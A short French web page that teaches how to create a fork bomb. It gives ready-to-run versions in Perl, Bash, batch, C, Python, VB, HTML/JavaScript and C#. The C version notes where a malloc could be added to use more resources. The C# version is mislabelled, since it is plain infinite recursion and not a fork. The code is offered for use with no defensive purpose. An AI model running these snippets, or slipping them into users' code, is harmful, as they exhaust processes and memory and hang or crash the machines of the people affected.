• Votre panier est vide.

  • COMPTE

Comment créer une Fork Bomb

Apprendre à créer une Fork Bomb

Il est possible d’apprendre à créer une Fork Bomb à l’aide de presque tous les langages de programmation.

En voici quelques exemples :

Perl

perl -e "fork while fork" &

 

Shell Bash

:(){ :|:& };:

 

Fichier batch

:s 
start %0 
goto :s

 

C

#include <unistd.h>    

int main(void) {    
  while(1) {      
    /* ici on peut ajouter un malloc pour utiliser plus de ressources */       
    fork();     
  }     
  return 0;   
}

 

Python

import os

while True:
  os.fork()

 

VB

Private Sub Main()
  Do
    Shell App.EXEName
  Loop
End Sub

 

HTML / JavaScript

<html>   
  <script type="text/javascript">    
    function open_target_blank() {     
      window.open(window.location);    
    }    
    window.onload = open_target_blank();   
  </script>   
  
  <body>   
  </body>  
</html>

 

C#

using System; 
using System.Collections.Generic; 
using System.Linq; 
using System.Text.RegularExpressions; 

namespace Rextester { 
  public class Program { 
    public static void Main(string[] args) { 
      fork(); 
    } 
 
    public static void fork() { 
      while(true){ 
        fork(); 
      } 
    } 
  }
}
TOUT VOIR Ajouter une remarque
VOUS
Ajouter votre commentaire
Culte du code | 2015-2022  (Vecteurs par Freepik, Parallax par fullvector)